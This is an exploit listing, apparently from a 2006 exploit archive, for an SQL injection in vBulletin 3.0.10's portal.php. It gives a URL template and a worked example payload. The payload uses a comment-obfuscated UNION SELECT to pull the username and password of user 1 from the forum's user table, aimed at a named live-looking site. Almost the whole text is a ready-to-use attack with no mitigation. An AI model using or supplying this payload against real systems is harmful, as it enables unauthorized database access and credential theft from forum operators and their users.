exploits , vulnerabilities , articles , vBulletin 3.0.10 Version SQL Injection

Rated as : Critical Risk
Exp Code :

######################################################
#      vBulletin 3.0.10 Version SQL Injection        #
#                  SpC-x | Nukedx                    #
######################################################
# Credit : SpC-X | Nukedx                            #
# Site    : http://www.Cyber-security.org            #
######################################################

Code :

http://www.target.com/path/portal.php?id=54&a=viewfeature&featureid=[SQL]

Example :

http://ckknight.wowinterface.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*


securitydot.net - 2006-05-30